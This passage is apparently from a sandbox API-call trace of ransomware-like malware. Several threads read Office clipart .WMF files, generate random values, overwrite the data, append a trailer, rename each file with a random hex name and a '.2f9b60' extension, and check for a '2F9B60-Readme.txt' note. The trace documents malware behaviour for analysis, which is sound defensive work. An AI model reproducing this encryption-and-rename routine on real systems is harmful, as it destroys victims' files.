IoStatusBlock=0x2c47f818, FileInformation=0x2c47f828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 [0109.810] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6040) returned 1 [0109.810] FlushFileBuffers (hFile=0x1770) returned 1 [0109.819] CloseHandle (hObject=0x1770) returned 1 [0109.820] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x4205cfb0 [0109.820] wcscpy (in: _Dest=0x4205cfb0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.820] wcscat (in: _Dest=0x4205cfb0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.820] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cfb0) returned 1 [0109.820] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c3d0) returned 1 Thread: id = 712 os_tid = 0x1204 [0096.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf")) returned 0x20 [0106.321] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF", dwFileAttributes=0x20) returned 1 [0106.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00141_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x156c [0106.363] GetFileSizeEx (in: hFile=0x156c, lpFileSize=0x2ca0f700 | out: lpFileSize=0x2ca0f700*=26886) returned 1 [0106.363] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x6902, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.363] ReadFile (in: hFile=0x156c, lpBuffer=0x2ca0f680, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2ca0f6c8, lpOverlapped=0x0 | out: lpBuffer=0x2ca0f680*, lpNumberOfBytesRead=0x2ca0f6c8*=0x4, lpOverlapped=0x0) returned 1 [0106.369] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 [0106.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8610 [0106.369] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7860 [0106.369] NtQuerySystemTime (in: CurrentTime=0x2ca0f5c0 | out: CurrentTime=0x2ca0f5c0*=132462177118594000) returned 0x0 [0106.369] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x28197c31 [0106.369] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x40894f9a [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x1d00cfb4 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x6966ab28 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x52b4f4c5 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x765866e6 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x1d793f01 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x19eb7b77 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x5fced0a6 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x6c58bb4c [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x31e30c7a [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x1e9380af [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x192a7ac2 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x685d2648 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x2604236f [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x40340631 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x2e35444c [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x729dbef0 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x1b2fb1e2 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x72177b4b [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x94b3a13 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x2b2c7175 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x40157b01 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x1c39c7b [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x41c01706 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x58b5ea6c [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0xa2e32d2 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x785f6050 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x26c53957 [0106.370] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x4e223c1 [0106.371] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x6bff34e9 [0106.371] RtlRandomEx (in: Seed=0x2ca0f5b0 | out: Seed=0x2ca0f5b0) returned 0x7288ae7 [0106.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8880 [0106.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced76b0 [0106.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.379] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7860) returned 1 [0106.380] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced82b0) returned 1 [0106.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f35950 [0106.380] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.380] ReadFile (in: hFile=0x156c, lpBuffer=0x41f35950, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2ca0f620, lpOverlapped=0x0 | out: lpBuffer=0x41f35950*, lpNumberOfBytesRead=0x2ca0f620*=0x3c00, lpOverlapped=0x0) returned 1 [0106.390] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e978d0 [0106.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced80d0 [0106.390] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.390] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97f30) returned 1 [0106.390] WriteFile (in: hFile=0x156c, lpBuffer=0x41e978d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2ca0f620, lpOverlapped=0x0 | out: lpBuffer=0x41e978d0*, lpNumberOfBytesWritten=0x2ca0f620*=0x3c00, lpOverlapped=0x0) returned 1 [0106.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e978d0) returned 1 [0106.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f35950) returned 1 [0106.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced85b0 [0106.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0106.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8430) returned 1 [0106.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1ced8430 [0106.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x167700 [0106.416] SetFilePointerEx (in: hFile=0x156c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0106.416] WriteFile (in: hFile=0x156c, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2ca0f6d0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x2ca0f6d0*=0x10a, lpOverlapped=0x0) returned 1 [0106.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97760 [0106.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b867540 [0106.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0106.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7950 [0106.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7950) returned 1 [0106.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b867540) returned 1 [0106.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97760) returned 1 [0106.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f630 [0106.436] sprintf (in: _Dest=0x1cd9f630, _Format="%c%c" | out: _Dest="9a") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f632, _Format="%c%c" | out: _Dest="d8") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f634, _Format="%c%c" | out: _Dest="98") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f636, _Format="%c%c" | out: _Dest="d7") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f638, _Format="%c%c" | out: _Dest="25") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f63a, _Format="%c%c" | out: _Dest="2d") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f63c, _Format="%c%c" | out: _Dest="20") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f63e, _Format="%c%c" | out: _Dest="0e") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f640, _Format="%c%c" | out: _Dest="2a") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f642, _Format="%c%c" | out: _Dest="3e") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f644, _Format="%c%c" | out: _Dest="3a") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f646, _Format="%c%c" | out: _Dest="64") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f648, _Format="%c%c" | out: _Dest="73") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f64a, _Format="%c%c" | out: _Dest="a6") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f64c, _Format="%c%c" | out: _Dest="ae") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f64e, _Format="%c%c" | out: _Dest="4e") returned 2 [0106.436] sprintf (in: _Dest=0x1cd9f650, _Format="%c%c" | out: _Dest="39") returned 2 [0106.437] sprintf (in: _Dest=0x1cd9f652, _Format="%c%c" | out: _Dest="bd") returned 2 [0106.437] sprintf (in: _Dest=0x1cd9f654, _Format="%c%c" | out: _Dest="b6") returned 2 [0106.437] sprintf (in: _Dest=0x1cd9f656, _Format="%c%c" | out: _Dest="5e") returned 2 [0106.437] sprintf (in: _Dest=0x1cd9f658, _Format="%c%c" | out: _Dest="46") returned 2 [0106.437] sprintf (in: _Dest=0x1cd9f65a, _Format="%c%c" | out: _Dest="1d") returned 2 [0106.437] sprintf (in: _Dest=0x1cd9f65c, _Format="%c%c" | out: _Dest="31") returned 2 [0106.437] sprintf (in: _Dest=0x1cd9f65e, _Format="%c%c" | out: _Dest="a4") returned 2 [0106.437] RtlInitAnsiString (in: DestinationString=0x2ca0f748, SourceString="9ad898d7252d200e2a3e3a6473a6ae4e39bdb65e461d31a4" | out: DestinationString="9ad898d7252d200e2a3e3a6473a6ae4e39bdb65e461d31a4") [0106.437] RtlAnsiStringToUnicodeString (in: DestinationString=0x2ca0f718, SourceString="9ad898d7252d200e2a3e3a6473a6ae4e39bdb65e461d31a4", AllocateDestinationString=1 | out: DestinationString="9ad898d7252d200e2a3e3a6473a6ae4e39bdb65e461d31a4") returned 0x0 [0106.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced5710 [0106.437] RtlFreeAnsiString (AnsiString="9") [0106.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0106.437] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d000) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x167700) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8430) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7e60) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced85b0) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced80d0) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8610) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8880) returned 1 [0106.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced76b0) returned 1 [0106.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x204ffcd0 [0106.438] wcscat (in: _Dest=0x204ffcd0, _Source="9ad898d7252d" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9ad898d7252d") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9ad898d7252d" [0106.438] wcscat (in: _Dest=0x204ffcd0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9ad898d7252d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9ad898d7252d.2f9b60" [0106.438] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9ad898d7252d.2f9b60", NtPathName=0x2ca0f6f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\9ad898d7252d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0106.438] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x107e40 [0106.439] NtSetInformationFile (FileHandle=0x156c, IoStatusBlock=0x2ca0f790, FileInformation=0x107e40, Length=0xac, FileInformationClass=0xa) returned 0x0 [0109.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x107e40) returned 1 [0109.684] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48900) returned 1 [0109.684] NtQueryInformationFile (in: FileHandle=0x156c, IoStatusBlock=0x2ca0f758, FileInformation=0x2ca0f768, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2ca0f758, FileInformation=0x2ca0f768) returned 0x0 [0109.684] NtSetInformationFile (FileHandle=0x156c, IoStatusBlock=0x2ca0f758, FileInformation=0x2ca0f768, Length=0x28, FileInformationClass=0x4) returned 0x0 [0109.701] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffcd0) returned 1 [0109.702] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced5710) returned 1 [0109.702] FlushFileBuffers (hFile=0x156c) returned 1 [0109.706] CloseHandle (hObject=0x156c) returned 1 [0109.712] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x1b7ad840 [0109.712] wcscpy (in: _Dest=0x1b7ad840, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\" [0109.712] wcscat (in: _Dest=0x1b7ad840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" [0109.712] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\2f9b60-readme.txt")) returned 0x20 [0109.712] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad840) returned 1 [0109.713] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4c460) returned 1 Thread: id = 713 os_tid = 0x1208 [0096.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0106.254] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF", dwFileAttributes=0x20) returned 1 [0106.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1554 [0106.346] GetFileSizeEx (in: hFile=0x1554, lpFileSize=0x2cb1f760 | out: lpFileSize=0x2cb1f760*=28948) returned 1 [0106.346] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x7110, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.346] ReadFile (in: hFile=0x1554, lpBuffer=0x2cb1f6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2cb1f728, lpOverlapped=0x0 | out: lpBuffer=0x2cb1f6e0*, lpNumberOfBytesRead=0x2cb1f728*=0x4, lpOverlapped=0x0) returned 1 [0106.350] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7680 [0106.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7e60 [0106.350] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7f20 [0106.350] NtQuerySystemTime (in: CurrentTime=0x2cb1f620 | out: CurrentTime=0x2cb1f620*=132462177118438000) returned 0x0 [0106.350] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x556f7580 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x404053c1 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x7ba01150 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x7f03522d [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x79238150 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x3ddeaae3 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x48cc0a99 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x4f7b7688 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0xf4fd06a [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x64d5c9dd [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x98039b9 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x204cb0a9 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x65b81008 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x1444164a [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x5f242566 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x77b6d1ed [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x7e29bcb7 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x4b5b5fa6 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x45286bdf [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0xedcb7d3 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x48512d9e [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0xdf262ee [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x695521d [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x59a0f371 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x7723d7be [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x64dbda42 [0106.351] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0xcd00592 [0106.352] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x3b920fac [0106.352] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x195f9b7e [0106.352] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x592c789f [0106.352] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x640410c4 [0106.352] RtlRandomEx (in: Seed=0x2cb1f610 | out: Seed=0x2cb1f610) returned 0x7573a128 [0106.360] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8430 [0106.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.361] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced85b0 [0106.361] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8674c0) returned 1 [0106.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7f20) returned 1 [0106.362] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7680) returned 1 [0106.362] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e978d0 [0106.362] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.362] ReadFile (in: hFile=0x1554, lpBuffer=0x41e978d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2cb1f680, lpOverlapped=0x0 | out: lpBuffer=0x41e978d0*, lpNumberOfBytesRead=0x2cb1f680*=0x3c00, lpOverlapped=0x0) returned 1 [0106.367] SetFilePointerEx (in: hFile=0x1554, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0106.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97f30 [0106.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8674c0 [0106.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.367] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced83a0) returned 1 [0106.367] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f4c1b0 [0106.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced83a0 [0106.368] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced82b0 